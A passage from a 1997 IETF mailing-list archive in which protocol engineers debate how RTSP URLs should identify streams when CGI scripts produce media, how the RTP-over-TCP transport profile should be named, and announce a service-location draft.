method"? Are you sure you agree with Steve's idea, because as I
interpret your statement, it would contradict Steve's idea. Namely Steve
assumes the cgi-bin handler will process part of the URL and then pass
it's results back to the "stream splitter handler" built into the media
server to handle the rest of the URL.

I think both of you, Steve and Roy, are hand waving around this issue.
What you don't seem to be thinking about (I can understand this
confusion from Roy since he is so focused on the HTTP perspective) is
that a cgi-bin essentially produces a "file resource" and in the case of
a media server, the media server must "analyze" this file and "break it
up" in such a way that it can send individual streams to the appropriate
RTP ports. Sure we could invent an API that is cgi like that would allow
further invocation, but the current cgi behavior does not allow this.
What I am asking for is a solution that woks with current day cgi-bin
scripts.  The StreamID proposal _does_ work with current day cgi-bin.

Imagine this URL...

  rtsp://server/somepath/something.cgi/someparams/audio
    ^      ^        ^          ^           ^        ^
    |      |        |          |           |        |
    client client   server     server      cgi      server

Notice that the above parts of the system are "interested" in the
various parts of the URL. The problem is that any parts of the URL
following the cgi script (according to how cgi scripts work) will be
sent to the cgi script, as such the server won't be able to get to the
"stream" identification portion of the URL.

Please, stop hand waving about this issue and spell out _exactly_ how
you see a current day cgi bin script working with an RTSP media server
to process these types of URLS.

I _can_ describe exactly how it would work for the StreamIDs in the 822
section proposal, since it is the same rules of interaction for a web
server.

-Brad
-----------------------------------------
Brad Hefta-Gaub
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax: (206)674-2699
email: brad@prognet.com
web: http://www.real.com
-----------------------------------------






From majordom@ISI.EDU  Sun Jul 27 10:58:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21364>; Sun, 27 Jul 1997 17:59:09 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21358>; Sun, 27 Jul 1997 17:59:08 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id RAA04867
	for <confctrl@isi.edu>; Sun, 27 Jul 1997 17:59:07 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-173.ricochet.net) by murrow.prognet.com with SMTP id AA26167
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sun, 27 Jul 1997 18:05:18 -0700
Message-Id: <3.0.32.19970727175841.00683f10@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Sun, 27 Jul 1997 17:58:46 -0700
To: Brad Hefta-Gaub <brad@murrow.prognet.com>,
        "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: PROGRESS: RTSP URL issues
Cc: Stephen Casner <casner@precept.com>, confctrl@isi.edu, brad@prognet.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Actually, it may be helpful to describe what exactly we envision occuring
with a CGI interface:

1.  Client sends query string as part of RTSP DESCRIBE URL.  This allows
the server to set up the environment exactly as it would be done for an
HTTP script (setting proper environment variables and such).

2.  The script uses the query to potentially generate a file to stream
(such as an audio/video container).  It may be the case that this video
isn't stored anywhere (i.e. it's generated on the fly, similar to how the
GD library currently generates gifs).

3.  The script sends the file to standard output, just as it would if this
were HTTP CGI.  Rather than directly sending this script to the contents of
a reply, as it would in HTTP, the RTSP server stashes it away into a
temporary file.

4.  This newly created file (which may contain multiple substreams) is now
a resource that an RTSP client can SETUP and PLAY.

Since the current CGI interface doesn't make it possible to "pass back" the
URL, we would have to make a new CGI-like interface in order to make this
possible with stream ids too tightly embedded in the URLs.   Either taking
stream ids out of the URL, or devising a clean deterministic way of
extracting the stream id out of the URL is the only way that this is going
to be possible.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Sun Jul 27 11:38:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23277>; Sun, 27 Jul 1997 18:54:26 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23271>; Sun, 27 Jul 1997 18:54:25 -0700
Received: from paris.ics.uci.edu (mmdf@paris.ics.uci.edu [128.195.1.50])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id SAA05657
	for <confctrl@isi.edu>; Sun, 27 Jul 1997 18:54:24 -0700 (PDT)
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa08464;
          27 Jul 97 18:54 PDT
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Stephen Casner <casner@precept.com>, Rob Lanphier <robla@prognet.com>,
        confctrl@isi.edu
Subject: Re: PROGRESS: RTSP URL issues 
In-Reply-To: Your message of "Sun, 27 Jul 1997 17:14:52 PDT."
             <33DBE47C.E3FD74F@prognet.com> 
Date: Sun, 27 Jul 1997 18:38:49 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707271854.aa08464@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I am not hand waving around the issue.  I am assuming you know enough
about how an HTTP server and CGI works to justify asking me personally
about a protocol question instead of just buying a book and figuring it
out for yourself.

The server receives a request, extracts the method and URL, selects
a handler for the request based on that, invokes the handler, and
then processes the output stream.  At no time is the server incapable
of managing its own namespace.

>Roy, what do you mean by, "A given URL can only have one handler per
>method"? Are you sure you agree with Steve's idea, because as I
>interpret your statement, it would contradict Steve's idea. Namely Steve
>assumes the cgi-bin handler will process part of the URL and then pass
>it's results back to the "stream splitter handler" built into the media
>server to handle the rest of the URL.

What "rest of the URL"?  Either the URL has been handled or it hasn't.
If there is no use for that other part, then there won't be any other part.
If there is a use, than something is going to use it.  In any case, the
client and the media server only care about THE FULL URL.

>I think both of you, Steve and Roy, are hand waving around this issue.
>What you don't seem to be thinking about (I can understand this
>confusion from Roy since he is so focused on the HTTP perspective) is
>that a cgi-bin essentially produces a "file resource" and in the case of
>a media server, the media server must "analyze" this file and "break it
>up" in such a way that it can send individual streams to the appropriate
>RTP ports. Sure we could invent an API that is cgi like that would allow
>further invocation, but the current cgi behavior does not allow this.
>What I am asking for is a solution that woks with current day cgi-bin
>scripts.  The StreamID proposal _does_ work with current day cgi-bin.

Anything works with current CGI scripts.  If the media is doing
post-processing of the output response, then absolutely anything in the
output response could be used to indicate what part of the stream is what.
If the media server is smart enough to identify each part of the movie
response as a different stream with a StreamID, then it is equally capable
of identifying them with a URL.  Likewise, since it always sees the URL
before it gets passed to the CGI script, it is always capable of generating
a URL which would identify a sub-resource within the resource.  It would
not be a relative path URL because interaction with the query part of
a potential CGI script would make that impossible.  Most likely, it would
be an encoded prefix placed at the beginning of the PATH_INFO portion,
which could then be easily removed by the media server before passing
the original path info to the CGI.  Yes, I do mean easily, since finding
the CGI script and separating it from the rest of the path is already
being done by any CGI handler.  Since the URL would have to be automatically
generated, the objections about authoring issues are irrelevant.

>Imagine this URL...
>
>  rtsp://server/somepath/something.cgi/someparams/audio
>    ^      ^        ^          ^           ^        ^
>    |      |        |          |           |        |
>    client client   server     server      cgi      server
>
>Notice that the above parts of the system are "interested" in the
>various parts of the URL. The problem is that any parts of the URL
>following the cgi script (according to how cgi scripts work) will be
>sent to the cgi script, as such the server won't be able to get to the
>"stream" identification portion of the URL.

Wrong.  The server cares about the entire URL and the CGI script cares
about what it receives in the separate environment variables associated
with PATH_INFO and QUERY_STRING.  A media server is in complete control
over both what the entire URL is and what part of the entire URL it passes
to the CGI script within those two environment variables.

>Please, stop hand waving about this issue and spell out _exactly_ how
>you see a current day cgi bin script working with an RTSP media server
>to process these types of URLS.

I've done so.  If you can't see that, then I can't help you any further.
Please do not CC me on this discussion again, since it has absolutely
no relevance to the network protocol or the URL parsing algorithm -- what
you are talking about is a trivial implementation detail within the internals
of a server.  It is ridiculous to suggest that you need a protocol change
just to encapsulate a CGI script with a filtering handler.

....Roy

From majordom@ISI.EDU  Tue Jul 29 01:02:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27334>; Sun, 27 Jul 1997 22:02:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27328>; Sun, 27 Jul 1997 22:02:41 -0700
Received: from alba.syd.dit.CSIRO.AU (alba.syd.dit.csiro.au [130.155.20.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id WAA07850
	for <confctrl@isi.edu>; Sun, 27 Jul 1997 22:02:40 -0700 (PDT)
Received: from syd.dit.csiro.au by alba.syd.dit.CSIRO.AU (8.6.12/1.06S)
	id PAA23060; Mon, 28 Jul 1997 15:02:25 +1000
Message-Id: <199707280502.PAA23060@alba.syd.dit.CSIRO.AU>
X-Mailer: exmh version 1.6.9 8/22/96
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Stephen Casner <casner@precept.com>, Rob Lanphier <robla@prognet.com>,
        confctrl@isi.edu
Subject: Re: PROGRESS: RTSP URL issues 
Reply-To: bill.simpson-young@cmis.csiro.au (Bill Simpson-Young)
In-Reply-To: Your message of Sun, 27 Jul 1997 17:14:52 -0700.
	     <33DBE47C.E3FD74F@prognet.com> 
X-Internet: bill.simpson-young@cmis.csiro.au
X-Snail: CSIRO DIT, Locked Bag 17, North Ryde NSW 2113, Australia
X-Phone: (+61 2) 325-3155 Fax: (+61 2) 325-3200
X-Uri: http://www.syd.dit.csiro.au/staff/bill
X-Face: "GS>_j9\.pW;Cs*01=u*o'&mic%_7Hxyz&_UR6{$Ai95Hc5,xn-jf-Z7"njhC<(@`Vr%Nrl
	&x/|0G%DtL\XmNdIo|eMF,W"ci_a\Z=#aSs+&$5Ia:/$@{'i:T.U]^2l!NarQF+Ldb.
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 28 Jul 1997 15:02:14 +1000
From: Bill Simpson-Young <bill@syd.dit.csiro.au>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Brad wrote:
> I think both of you, Steve and Roy, are hand waving around this issue.
> What you don't seem to be thinking about (I can understand this
> confusion from Roy since he is so focused on the HTTP perspective) is
> that a cgi-bin essentially produces a "file resource" and in the case of
> a media server, the media server must "analyze" this file and "break it
> up" in such a way that it can send individual streams to the appropriate
> RTP ports. Sure we could invent an API that is cgi like that would allow
> further invocation, but the current cgi behavior does not allow this.

CGI scripts don't return just a "file resource".  They also return (unless 
header parsing's been disabled) a parsable header to the server which 
includes headers such as Content-type, Location etc.  If you have a 
cgi-like interface from the RTSP server, it should be up to the script to 
put any info about stream ids etc into the headers and then the server can 
do what it likes with them.  The server shouldn't have to extract this 
sort of information from the URL.




From majordom@ISI.EDU  Mon Jul 28 02:33:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17915>; Mon, 28 Jul 1997 09:34:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17906>; Mon, 28 Jul 1997 09:34:12 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id JAA21315
	for <confctrl@isi.edu>; Mon, 28 Jul 1997 09:34:12 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA07859
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 28 Jul 1997 09:34:11 -0700
Message-Id: <3.0.32.19970728093357.01683c20@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 28 Jul 1997 09:33:58 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: "Transport" field
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Ok, now for a (hopefully) much less contentious issue :)

Currently, in the RTSP Transport field definition, there are two different
transports defined:  RTP/UDP and RTP/TCP.  It seems that it would make more
sense to reuse current RTP profile types in here, of which there is
currently only one: RTP/AVP.  However, it does make sense to define
multiple profiles here:

RTP/AVP - RFC 1890.  This implies UDP delivery of the RTP stream

RTP/TCP (or RTP/X-TCP)- This is RTP delivered via TCP (embedded in the RTSP
stream).

If there is no objection, I'll make this change.

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jul 28 10:22:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00263>; Mon, 28 Jul 1997 11:23:15 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00254>; Mon, 28 Jul 1997 11:23:12 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id LAA28298
	for <confctrl@isi.edu>; Mon, 28 Jul 1997 11:23:11 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA01981; Mon, 28 Jul 1997 14:22:11 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: "Transport" field 
In-Reply-To: Your message of "Mon, 28 Jul 1997 09:33:58 PDT."
             <3.0.32.19970728093357.01683c20@mail.prognet.com> 
Date: Mon, 28 Jul 1997 14:22:11 -0400
Message-Id: <1979.870114131@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Ok, now for a (hopefully) much less contentious issue :)
>
>Currently, in the RTSP Transport field definition, there are two different
>transports defined:  RTP/UDP and RTP/TCP.  It seems that it would make more
>sense to reuse current RTP profile types in here, of which there is
>currently only one: RTP/AVP.  However, it does make sense to define
>multiple profiles here:
>
>RTP/AVP - RFC 1890.  This implies UDP delivery of the RTP stream
>
>RTP/TCP (or RTP/X-TCP)- This is RTP delivered via TCP (embedded in the RTSP
>stream).
>
>If there is no objection, I'll make this change.

You know what I think about RTP over TCP, but leaving that aside, you
still need to specify an RTP profile.  Without a profile, there is no
binding of static payload types.  

I believe this is independent of the transport protocol issue, and so
you would probably want to use TCP-RTP/AVP or something similar rather
than RTP/TCP.

Mark




From majordom@ISI.EDU  Mon Jul 28 04:47:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02963>; Mon, 28 Jul 1997 11:47:36 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02957>; Mon, 28 Jul 1997 11:47:34 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id LAA29985
	for <confctrl@isi.edu>; Mon, 28 Jul 1997 11:47:34 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA24161
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 28 Jul 1997 11:47:21 -0700
Message-Id: <3.0.32.19970728114707.018d99b8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 28 Jul 1997 11:47:09 -0700
To: Mark Handley <mjh@east.isi.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: "Transport" field 
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 02:22 PM 7/28/97 -0400, Mark Handley wrote:
>I believe this is independent of the transport protocol issue, and so
>you would probably want to use TCP-RTP/AVP or something similar rather
>than RTP/TCP.

Wouldn't the profile, once created, still be called RTP/xxx?  I'll agree
that there is a vacuum there, but why TCP-RTP/AVP?  Doesn't the first half
describe the protocol in general (RTP), and the second half describe the
implementation of the protocol (AVP or some other form, like an embedded
TCP version)?

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jul 28 12:43:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11110>; Mon, 28 Jul 1997 13:48:56 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11104>; Mon, 28 Jul 1997 13:48:55 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id NAA07356
	for <confctrl@isi.edu>; Mon, 28 Jul 1997 13:48:17 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Mon Jul 28 16:46:09 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Mon Jul 28 16:46:13 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id QAA09309; Mon, 28 Jul 1997 16:43:07 -0400 (EDT)
Message-Id: <33DD045A.20D1@cs.columbia.edu>
Date: Mon, 28 Jul 1997 16:43:06 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: "Transport" field
References: <3.0.32.19970728093357.01683c20@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 
> Ok, now for a (hopefully) much less contentious issue :)
> 
> Currently, in the RTSP Transport field definition, there are two different
> transports defined:  RTP/UDP and RTP/TCP.  It seems that it would make more
> sense to reuse current RTP profile types in here, of which there is
> currently only one: RTP/AVP.  However, it does make sense to define
> multiple profiles here:
> 
> RTP/AVP - RFC 1890.  This implies UDP delivery of the RTP stream
> 
> RTP/TCP (or RTP/X-TCP)- This is RTP delivered via TCP (embedded in the RTSP
> stream).
> 
> If there is no objection, I'll make this change.

This is slightly dangerous, as the RTP profile could be trivially
extended to cover RTP-over-TCP or other profiles could define more than
one transport mapping. I would instead suggest

RTP/profile/transport

to avoid ambiguity. (In the case of TCP, this may make sense, since the
vast majority of RFC 1890 would remain unchanged.)

Henning

From majordom@ISI.EDU  Mon Jul 28 12:55:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11463>; Mon, 28 Jul 1997 13:56:41 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11456>; Mon, 28 Jul 1997 13:56:40 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id NAA07822
	for <confctrl@ISI.EDU>; Mon, 28 Jul 1997 13:56:39 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA02298; Mon, 28 Jul 1997 16:55:38 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: "Transport" field 
In-Reply-To: Your message of "Mon, 28 Jul 1997 11:47:09 PDT."
             <3.0.32.19970728114707.018d99b8@mail.prognet.com> 
Date: Mon, 28 Jul 1997 16:55:38 -0400
Message-Id: <2296.870123338@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>At 02:22 PM 7/28/97 -0400, Mark Handley wrote:
>>I believe this is independent of the transport protocol issue, and so
>>you would probably want to use TCP-RTP/AVP or something similar rather
>>than RTP/TCP.
>
>Wouldn't the profile, once created, still be called RTP/xxx?  I'll agree
>that there is a vacuum there, but why TCP-RTP/AVP?  Doesn't the first half
>describe the protocol in general (RTP), and the second half describe the
>implementation of the protocol (AVP or some other form, like an embedded
>TCP version)?

I had been thinking of the RTP AV profile as kind of "transport
independent", but re-reading it, I see that isn't the case.  If you
want to use a different transport you have to define a whole new
profile.

It may be that the way RTP was split into base spec and profile chose
a poor separation once you start to choose to use RTP over different
transport protocols than UDP because much of what is in the current AV
profile is transport independent.  It would have been good to be able
to use the existing AV profile with different lower-layer transport
protocols.

So I guess you're right - you do need to define a whole new profile.
Yeuch!  Given this, RTP/TCP is not unreasonable.


BTW, I assume you *are* planning to use compressed RTP over the TCP
connection?  Otherwise you waste lots of bits unnecessarily.  

Of course it's still not a good idea to use TCP :-)

Mark

From majordom@ISI.EDU  Mon Jul 28 14:31:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17420>; Mon, 28 Jul 1997 15:32:11 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17414>; Mon, 28 Jul 1997 15:32:09 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id PAA12546
	for <confctrl@isi.edu>; Mon, 28 Jul 1997 15:32:08 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Mon Jul 28 18:31:07 EDT 1997
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by research; Mon Jul 28 18:31:10 EDT 1997
Received: from arrakis.dnrc.bell-labs.com (arrakis [135.180.130.41]) by zubin.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id SAA28942 for <confctrl@isi.edu>; Mon, 28 Jul 1997 18:31:23 -0400 (EDT)
Message-Id: <33DD1DA4.9EA85F42@dnrc.bell-labs.com>
Date: Mon, 28 Jul 1997 18:31:00 -0400
From: "Jonathan D. Rosenberg" <jdrosen@dnrc.bell-labs.com>
Reply-To: jdrosen@dnrc.bell-labs.com
X-Mailer: Mozilla 4.0 [en] (Win95; U)
Mime-Version: 1.0
To: confctrl@ISI.EDU
Subject: Internet Telephony Gateway Location
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Members of the mmusic wg,

You may have just seen a recent announcement for an I-D on "Wide Area
Service Location", submitted to the Service Location (svrloc) wg.
Although this draft discusses services in general, it pays particular
attention to the problem of Internet Telephony Gateway (ITG) location,
and may be of some interest to people on this list.

Henning and I were concerned with the problem of how an IP host might
find an Internet Telephony Gateway (ITG). These devices effectively
bridge (at the application layer) IP networks and the public switched
telephone network (PSTN), allowing an IP telephony user to call a plain
PSTN end-point. For cost reasons, it is desirable to use a gateway
closest to the PSTN callee. This would reduce the telephone charges
incurred by the ITG, which presumedly get passed on to the IP host using
that gateway. We came up with a protocol architecture which would allow
IP hosts to find any gateway on the Internet which meets some arbitrary
set of constraints, including cost, protocol support (H.323, SIP, etc),
proximity to the IP host, etc. We then realized that our architecture
fits quite nicely as an extension to the service location protocol (now
RFC 2165), and generalizes to any service, of which an ITG is just an
example.

The main idea is to use a scalable multicast advertisement mechanism
(like the one in RTCP) for announcing services. These can then be
collected by a device we call a broker. This device can be contacted by
clients seeking services, and queried for those services which meet some
constraints. The draft also discusses issues such as the representation
of cost of a telephone call (not an easy problem), and authentication.

I will be taking a few minutes at Munich to present this draft to the
svrloc wg. In the interim, I welcome any comments or questions. You can
find a copy of the draft at either:

ftp://ds.internic.net/internet-drafts/draft-ietf-svrloc-wasrv-00.txt

or at:

http://www.cs.columbia.edu/~jdrosen/papers/draft-ietf-svrloc-wasrv-00.txt


Thanks,

Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
PHONE: (908) 949-6418                       Rm. 4D-534B
FAX:   (908) 834-5379
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From majordom@ISI.EDU  Tue Jul 29 04:54:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25755>; Tue, 29 Jul 1997 11:55:27 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25749>; Tue, 29 Jul 1997 11:55:25 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id LAA17340
	for <confctrl@isi.edu>; Tue, 29 Jul 1997 11:55:24 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id LAA26667;
	Tue, 29 Jul 1997 11:54:52 -0700 (PDT)
Date: Tue, 29 Jul 1997 11:54:23 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: PROGRESS: RTSP URL issues
In-Reply-To: <33DBE47C.E3FD74F@prognet.com>
Message-Id: <Pine.WNT.3.95.970729115400.-204107A-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Brad,

> I don't think you guys are listening to me.

I suspect it is more a matter of not sharing the same assumptions,
some of which are unspoken.  There are many details of your
implementation that I don't know about, and it is probably not
appropriate for me to know them.

> If I have current day
> CGI-bin script working INSIDE MY MEDIA SERVER how can I have it "invoke
> a media server" or in some way "pass the rest on to the next module". I
> am not talking about something that is "cgi like", I am talking about
> precisely cgi.

Are you saying that every cgi-bin script that works with HTTP should
also work with RTSP without any changes?  That seems to me like an
unreasonable expectation because there are significant differences in
functionality between HTTP and RTSP.  I wouldn't be surprised if the
scripts need to be different.

I'm not even sure what it would mean for the same script to work with
both.  I can take a guess: if you reference an container file or
"container source" with a cgi-bin script in HTTP, then the entire
contents of that file or source would be sent back as a byte stream
over the HTTP connection.  Now, if you want to use that same cgi-bin
script and same URL with RTSP, I would think you should only expect
the same function: the whole, premultiplexed container contents would
be transmitted in one stream, perhaps over the RTSP TCP connection or
perhaps over one RTP/UDP stream.

On the other hand, if the multiple media are to be sent in different
RTP streams, then I would claim one should not expect the same URL and
the same cgi-bin script to suffice.  Additional selection and
processing need to occur beyond the identification of the source.
Perhaps you consider this to just be a transport function, but I don't
agree.

Consider a container file that includes video plus English and French
audio tracks.  The client wants the video to be played with only one
of the audio tracks, so some additional selection information is
required to be fed to the streaming module that reads the container
file and delivers the data.  That should happen in your HTTP scenario
as well, but the cgi-bin script that just finds the file will not do
the job.  If you do augment the script so that it can pass additional
selection information to the streaming module, then the same script
might work for the RTSP case as well.

There is an issue that for the HTTP case you want one URL to select
multiple streams while in the RTSP case I've argued for separate URLs
selecting the individual streams.  However, I'd claim this just
reflects the fact that HTTP and RTSP are not the same: if you want the
video and audio tracks to be kept in separate files rather than a
container file, you'd have some difficulty specifying that in one URL
for the HTTP case and feeding the necessary info to the media
streaming module to build the multiplexed stream.

> I think both of you, Steve and Roy, are hand waving around this issue.
> What you don't seem to be thinking about (I can understand this
> confusion from Roy since he is so focused on the HTTP perspective) is
> that a cgi-bin essentially produces a "file resource" and in the case of
> a media server, the media server must "analyze" this file and "break it
> up" in such a way that it can send individual streams to the appropriate
> RTP ports. Sure we could invent an API that is cgi like that would allow
> further invocation, but the current cgi behavior does not allow this.
> What I am asking for is a solution that woks with current day cgi-bin
> scripts.  The StreamID proposal _does_ work with current day cgi-bin.

I guess my short answer is that the expectation to take an existing
cgi-bin script from the HTTP world over to RTSP may not be reasonable
given the additional functionality we want to provide in RTSP.

> Imagine this URL...
> 
>   rtsp://server/somepath/something.cgi/someparams/audio
>     ^      ^        ^          ^           ^        ^
>     |      |        |          |           |        |
>     client client   server     server      cgi      server
> 
> Notice that the above parts of the system are "interested" in the
> various parts of the URL. The problem is that any parts of the URL
> following the cgi script (according to how cgi scripts work) will be
> sent to the cgi script, as such the server won't be able to get to the
> "stream" identification portion of the URL.
> 
> Please, stop hand waving about this issue and spell out _exactly_ how
> you see a current day cgi bin script working with an RTSP media server
> to process these types of URLS.

I can imagine several ways to implement the necessary functionality in
a cgi-bin script: invoking a media streaming module directly, or using
some IPC back to the media server or some streaming daemon that's
always running.  But this is based not holding the assumption that an
existing script intended for HTTP will work with RTSP, in return for
avoiding having the data organization on the server be reflected in
the protocol and in the behavior of the client.
							-- Steve


From majordom@ISI.EDU  Wed Jul 30 05:39:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25670>; Wed, 30 Jul 1997 11:07:46 -0700
Received: from darkstar.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25629>; Wed, 30 Jul 1997 11:07:41 -0700
Received: from tnt.isi.edu by darkstar.isi.edu (5.65c/5.61+local-27)
	id <AA08424>; Wed, 30 Jul 1997 07:09:29 -0700
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id HAA16814
	for <confctrl@isi.edu>; Wed, 30 Jul 1997 07:03:02 -0700 (PDT)
